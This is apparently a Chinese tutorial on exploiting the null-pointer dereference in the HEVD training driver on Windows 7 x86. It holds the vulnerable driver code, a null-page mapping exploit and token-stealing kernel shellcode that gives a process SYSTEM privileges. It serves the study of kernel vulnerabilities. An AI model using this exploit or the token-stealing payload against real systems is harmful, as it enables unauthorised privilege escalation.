内核漏洞学习-HEVD-NullPointerDereference

概述

HEVD：漏洞靶场，包含各种Windows内核漏洞的驱动程序项目，在Github上就可以找到该项目，进行相关的学习。

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备：

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

前置知识

指针的三种错误使用：

1、由指针指向的一块动态内存，在利用完后，没有释放内存，导致内存泄露

2、野指针（悬浮指针）的使用，在指针指向的内存空间使用完释放后，指针指向的内存空间已经归还给了操作系统，此时的指针成为野指针，在没有对野指针做处理的情况下，有可能对该指针再次利用导致指针引用错误而程序崩溃。

3、Null Pointer空指针的引用，对于空指针的错误引用往往是由于在引用之前没有对空指针做判断，就直接使用空指针，还有可能把空指针作为一个对象来使用，间接使用对象中的属性或是方法，而引起程序崩溃，空指针的错误使用常见于系统、服务、软件漏洞方面。

总结

free（p）后：p仍然指向那块地址，但是地址被释放，回归给系统，指针仍然可以使用，可以利用池喷射，去多次申请内昆空间，撞这个指针p指向的地址，改写这个地址内容，在调用p，执行自己写入的代码。

p=NULL 后：p 不指向任何内存地址，通常指向000 0页地址，通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。调用null指针，执行shellcode。

使用ntallocvirtualmemory 函数申请内存：NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs

漏洞点分析

空指针漏洞

此类漏洞利用主要集中在两种方式上：

1、利用NULL指针。

2、利用零页内存分配可用内存空间

（1）分析漏洞点

UserValue = *(PULONG)UserBuffer;从用户模式获取value的值，如果uservalue=magicvalue的值，向缓冲区赋值，并打印信息，反之则释放缓冲区，清空指针（ NullPointerDereference = NULL;），之后，对于安全版本，对NullPointerDereference进行检查判断其是否被置空，非安全版本，未对NullPointerDereference进行检查判断，直接调用callback。

NTSTATUSTriggerNullPointerDereference(    _In_ PVOID UserBuffer){    ULONG UserValue = 0;    ULONG MagicValue = 0xBAD0B0B0;    NTSTATUS Status = STATUS_SUCCESS;    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;     PAGED_CODE();     __try    {        //        // Verify if the buffer resides in user mode        //         ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));         //        // Allocate Pool chunk        //         NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(            NonPagedPool,            sizeof(NULL_POINTER_DEREFERENCE),            (ULONG)POOL_TAG        );         if (!NullPointerDereference)        {            //            // Unable to allocate Pool chunk            //             DbgPrint("[-] Unable to allocate Pool chunk");             Status = STATUS_NO_MEMORY;            return Status;        }        else        {            DbgPrint("[+] Pool Tag: %s", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Type: %s", STRINGIFY(NonPagedPool));            DbgPrint("[+] Pool Size: 0x%X", sizeof(NULL_POINTER_DEREFERENCE));            DbgPrint("[+] Pool Chunk: 0x%p", NullPointerDereference);        }         //        // Get the value from user mode        //         UserValue = *(PULONG)UserBuffer;         DbgPrint("[+] UserValue: 0x%p", UserValue);        DbgPrint("[+] NullPointerDereference: 0x%p", NullPointerDereference);         //        // Validate the magic value        //         if (UserValue == MagicValue)        {            NullPointerDereference->Value = UserValue;            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;             DbgPrint("[+] NullPointerDereference->Value: 0x%p", NullPointerDereference->Value);            DbgPrint("[+] NullPointerDereference->Callback: 0x%p", NullPointerDereference->Callback);        }        else        {            DbgPrint("[+] Freeing NullPointerDereference Object");            DbgPrint("[+] Pool Tag: %s", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Chunk: 0x%p", NullPointerDereference);             //            // Free the allocated Pool chunk            //             ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);             //            // Set to NULL to avoid dangling pointer            //             NullPointerDereference = NULL;        } #ifdef SECURE        //        // Secure Note: This is secure because the developer is checking if        // 'NullPointerDereference' is not NULL before calling the callback function        //         if (NullPointerDereference)        {            NullPointerDereference->Callback();        }#else        DbgPrint("[+] Triggering Null Pointer Dereference");         //        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability        // because the developer is not validating if 'NullPointerDereference' is NULL        // before calling the callback function        //         NullPointerDereference->Callback();#endif    }    __except (EXCEPTION_EXECUTE_HANDLER)    {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X", Status);    }     return Status;}

漏洞利用

HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case。

HEVD_IOCTL_NULL_POINTER_DEREFERENCE:DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******");Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******");break;

NullPointerDereferenceIoctlHandler函数调用TriggerNullPointerDereference触发漏洞。

NTSTATUSNullPointerDereferenceIoctlHandler(    _In_ PIRP Irp,    _In_ PIO_STACK_LOCATION IrpSp){    PVOID UserBuffer = NULL;    NTSTATUS Status = STATUS_UNSUCCESSFUL;     UNREFERENCED_PARAMETER(Irp);    PAGED_CODE();     UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;     if (UserBuffer)    {        Status = TriggerNullPointerDereference(UserBuffer);    }     return Status;}

（1）测试

#include#includeHANDLE hDevice = NULL; #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)int main(){     hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL        );    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[-]failed to get device handle !");        return FALSE;     }    printf("[+]success to get device  handle");     if (hDevice) {         DWORD bReturn = 0;        char buf[4] = { 0 };        *(PDWORD32)(buf) = 0x12345678;         DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);    }   }

当我们传入值与MagicValue值不匹配时，则会触发漏洞。

因为uservalue=0xBAD0B0B0，所以打印出信息。

（2）漏洞利用

官方给出的方法也是利用NtAllocateVirtualMemory函数，在0页申请内存。

该函数在指定进程的虚拟空间中申请一块内存，该块内存默认将以64kb大小对齐，所以SIZE_T RegionSize = 0x1000;

BOOL MapNullPage() {    HMODULE hNtdll;    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host                                           // page size address boundary -> 0x2000PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host                                       // page size address boundary -> 0x00000000NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hNtdll = GetModuleHandle("ntdll.dll"); // Grab the address of NtAllocateVirtualMemoryNtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) {    DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X", GetLastError());    exit(EXIT_FAILURE);} // Allocate the Virtual memoryNtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,                                   &BaseAddress,                                   0,                                   &RegionSize,                                   MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,                                   PAGE_EXECUTE_READWRITE); if (NtStatus != STATUS_SUCCESS) {    DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x", NtStatus);    exit(EXIT_FAILURE);}else {    DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p", BaseAddress);    DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X", RegionSize);} FreeLibrary(hNtdll); return TRUE;

申请成功后，将shellcode地址放入偏移四字节处，因为CallBack成员在结构体的0x4字节处，使传入值与MagicValue值不匹配，触发漏洞。

ULONG MagicValue = 0xBAADF00D;     PVOID EopPayload = &TokenStealingPayloadWin7Generic;__try {        // Get the device handle        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle");        DEBUG_INFO("\t\t[+] Device Name: %s", FileName);         hFile = GetDeviceHandle(FileName);         if (hFile == INVALID_HANDLE_VALUE) {            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X", GetLastError());            exit(EXIT_FAILURE);        }        else {            DEBUG_INFO("\t\t[+] Device Handle: 0x%X", hFile);        }         DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage");         DEBUG_INFO("\t\t[+] Mapping Null Page");         if (!MapNullPage()) {            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X", GetLastError());            exit(EXIT_FAILURE);        }         DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout");         NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4);         // Now set the function pointer        *(PULONG)NullPointerPlus4 = (ULONG)EopPayload;         DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p", *(PULONG)NullPointerPlus4);        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p", NullPointerPlus4);         DEBUG_INFO("\t\t[+] EoP Payload: 0x%p", EopPayload);         DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference");         OutputDebugString("****************Kernel Mode****************");         DeviceIoControl(hFile,                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,                        (LPVOID)&MagicValue,                        0,                        NULL,                        0,                        &BytesReturned,                        NULL);         OutputDebugString("****************Kernel Mode****************");    }    __except (EXCEPTION_EXECUTE_HANDLER) {        DEBUG_ERROR("\t\t[-] Exception: 0x%X", GetLastError());        exit(EXIT_FAILURE);    }     return EXIT_SUCCESS;}

exp，可供参考

#include#include#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)   typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory1)(    IN HANDLE ProcessHandle,    IN OUT PVOID* BaseAddress,    IN ULONG ZeroBits,    IN OUT PULONG RegionSize,    IN ULONG AllocationType,    IN ULONG Protect);NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL;  HANDLE hDevice = NULL;  static VOID payload(){    _asm    {        //.....    }} int main(){    //获得device  handle    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",        GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL);     printf("[+]Start to get handle ");    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[+]Failed to get HANDLE!!!");        system("pause");        return 0;    }    printf("[+]Success to get handle");     DWORD aReturn = 0;    char buf[4] = { 0 };    *(PDWORD32)(buf) = 0x123456789;//触发漏洞    //申请0页内存     (FARPROC*)NtAllocateVirtualMemory = GetProcAddress(        GetModuleHandleW(L"ntdll"),        "NtAllocateVirtualMemory");    if (NtAllocateVirtualMemory == NULL)    {        printf("[-]Failed to get NtAllocateVirtualMemory address ");        system("pause");        return 0;    }    else    printf("[+]success to get  NtAllocateVirtualMemory address ");    PVOID basedaress = (PVOID)1;    SIZE_T allockSize = 0x1000;    NTSTATUS status= NtAllocateVirtualMemory(        INVALID_HANDLE_VALUE,        &basedaress,        0,        &allockSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE);    if(status<0)     {        printf("[-]NtAllocateVirtualMemory write failed");        system("pause");        return 0;    }     printf("[+]NtAllocateVirtualMemory write success ");    *(DWORD*)(0x4) = (DWORD)&payload;       //调用TriggerNullPointerDereference函数    DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &aReturn, NULL);    //提权启动cmd     printf("[+]Start to Create cmd...");    STARTUPINFO si = { sizeof(si) };    PROCESS_INFORMATION pi = { 0 };    si.dwFlags = STARTF_USESHOWWINDOW;    si.wShowWindow = SW_SHOW;    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);     system("pause");     return 0;}

payload功能：遍历进程，得到系统进程的token，把当前进程的token替换，达到提权目的。

相关内核结构体：在内核模式下，fs:[0]指向KPCR结构体。

_KPCR+0x120 PrcbData         : _KPRCB_KPRCB+0x004 CurrentThread    : Ptr32 _KTHREAD，_KTHREAD指针，这个指针指向_KTHREAD结构体_KTHREAD+0x040 ApcState         : _KAPC_STATE_KAPC_STATE+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针，这个指针指向EPROCESS结构体_EPROCESS   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID，系统进程ID=0x04   +0x0b8 ActiveProcessLinks : _LIST_ENTRY，双向链表，指向下一个进程的ActiveProcessLinks结构体处，通过这个链表我们可以遍历所有进程，以寻找我们需要的进程   +0x0f8 Token            : _EX_FAST_REF，描述了该进程的安全上下文，同时包含了进程账户相关的身份以及权限

payload：注意堆栈平衡问题。

 __asm {        pushad                               ; Save registers state         ; Start of Token Stealing Stub        xor eax, eax                         ; Set ZERO        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread                                             ; _KTHREAD is located at FS:[0x124]         mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process         mov ecx, eax                         ; Copy current process _EPROCESS structure         mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4         SearchSystemPID:            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink            sub eax, FLINK_OFFSET            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId            jne SearchSystemPID         mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token                                             ; with SYSTEM process nt!_EPROCESS.Token        ; End of Token Stealing Stub         popad                                ; Restore registers state    }}

运行exp提权成功：